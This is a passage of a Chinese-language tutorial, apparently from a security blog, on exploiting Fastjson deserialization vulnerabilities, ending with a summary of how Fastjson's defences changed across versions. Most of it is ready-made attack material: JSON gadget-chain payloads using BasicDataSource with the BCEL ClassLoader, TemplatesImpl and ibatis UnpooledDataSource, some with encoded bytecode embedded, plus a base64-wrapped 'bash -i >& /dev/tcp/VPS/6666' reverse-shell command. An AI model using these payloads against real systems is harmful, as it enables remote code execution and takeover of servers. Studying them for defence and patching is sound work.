1{2 "a": {3 "@type": "java.lang.Class",4 "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"5 },6 "b": {7 "@type": "java.lang.Class",8 "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"9 },10 "c": {11 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",12 "driverClassLoader": {13 "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"14 },15 "driverClassName": "$$BECL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"16 }17}再去构造编写反弹shell构造即可
1bash -c {echo,bash -i >& /dev/tcp/VPS/6666 0>&1的base64}|{base64,-d}|{bash,-i}基于Spring echo回显
1{2 "a": {3 "@type": "java.lang.Class",4 "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"5 },6 "b": {7 "@type": "java.lang.Class",8 "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"9 },10 "c": {11 "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",12 "driverClassLoader": {13 "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"14 },15 "driverClassName": "字节码放入此处"16 }17}前面讲过就是Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl
基于TemplatesImpl class
1{2 "a": {3 "@type": "java.lang.Class",4 "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"5 },6 "b": {7 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",8 "_bytecodes": ["字节码"],9 '_name': 'a.b',10 '_tfactory': {},11 "_outputProperties": {},12 "_name": "b",13 "_version": "1.0",14 "allowedProtocols": "all"15 }16}基于ibatis组件
1pom.xml2<dependency>3 <groupId>org.mybatis</groupId>4 <artifactId>mybatis</artifactId>5 <version>3.5.2</version>6</dependency>姿势:延时Payload
1{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{$$BCEL$$$l$8b$I$A$A$A$A$A$A$AU$90$b9N$c3$40$Q$86$ff$J$b678$O$Jq8$r$K$ba$84$824$94$R$N$87$c4$8d$94$u$fdz$b3$C$H$c7$b6$8c$83x$E$de$84$3a$V$88$82$H$e0$a1$Q$b3$L$C1$c5$cc$ee7$ff$i$bb$l$9fo$ef$A$f6$b0$e9C$60$d9$85$b5$f0$c9G$L$a1$40$5b$60E$60$95$e0$f5$e34$$$f7$J$L$9d$ee$88$e0$idcMh$9c$c7$a9$be$9cM$p$5d$Me$940$a9$f6U$f2$a3$ac$PJ$a9$ee$$dnS$dc$8b$e0$P$b2Y$a1$f4ql$a5$d7$99$da$9d$c8$H$Z$a0$8aE$81$b5$A$eb$d8$m$84$86$f5$S$99$de$f4$8e$k$95$ce$cb8Ky$$$ab$J$cd$bf$dcU4$d1$aa$fc$87$86$b7$85$96c$82$7b$9fh$9d$f3$96$9d$d3$ee$I$db$f0$f8i$c6$w$m3$8a$bd$cf$b7$z$8e$c4$d1$ddy$B$cd$f9$40$a8$b1$f7$y4$c2$e0WzhK$81Z$h$95W8$cfp$ce$e6$Wx$yq9i$K$5bp$d8$3b$cc$be$a9$f9$d0$3a$T$81$ca$89$c0$92$e9$d9$b0K4$bf$A5$8d$cc6u$B$A$A}"}}2回显Payload3{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"{字节码放这里}"}}总结拓展
到这里,基本Fastjson系列漏洞利用链子调试完成。下面总结知识点,拓展
反序列化核心
反序列化是通过字符串或字节流,利用Java的反射机制重构一个对象。主要有两种机制:
-
Java Bean反序列化机制
:通过反射机制实例化一个类,然后直接设置字段的值。
- 典型实现:JDK原生、Hessian等。
-
Property反序列化机制
:通过反射机制实例化一个类,通过调用setter方法设置字段的值。
- 典型实现:Fastjson、Jackson等。
Fastjson中的Property-based反序列化漏洞
- 在AutoType过程中,Fastjson会调用setter/getter方法:
parse():通过构造器方法实例化类,并调用setter方法。parseObject():是parse方法的封装,除调用setter外,还会调用getter方法(因为会调用toJSON)。
Fastjson漏洞的对抗史
-
1.2.24版本
- 没有任何过滤器,可以使用任何类进行反序列化攻击。
- 典型攻击类:
TemplatesImpl、JdbcRowSetImpl。
-
1.2.25版本
- 引入
checkAutoType机制,加入黑名单和白名单。 - AutoType机制开启
- 先检查白名单,白名单中的类直接加载。
- 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
- AutoType机制关闭
- 先检查黑名单,若类在黑名单中则抛出异常。
- 再检查白名单,若不在白名单则抛出异常。
- 引入
-
1.2.42版本
- 加入对
L;的检测,发现L;则去除。 - 黑名单和白名单类名隐去,使用hash比对。
- 加入对
-
1.2.43版本
- 加入对
LL;;的检测,发现LL;;则去除。 - 通过引入对
[字符的检测进行进一步防护。
- 加入对
-
1.2.45版本
- 黑名单机制问题:黑名单无法穷尽所有恶意类。
-
1.2.47版本
- 开启AutoType且版本在33到47之间
- 若类不在白名单,则继续检查黑名单。
- 若类不在黑名单且不在mappings中,则正常加载。
- 关键问题在于如何往mappings中添加恶意类。
- 未开启AutoType且版本在24到32之间,也存在漏洞。
- 开启AutoType且版本在33到47之间
-
1.2.68版本
- 引入
expectedClass机制,增加了防护,但仍存在逻辑漏洞:- 特别是针对
Throwable类的防护不足。
- 特别是针对
- 引入
-
1.2.80版本
异常类漏洞防护
- 针对
Throwable类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。
- 针对
部分信息可能已经过时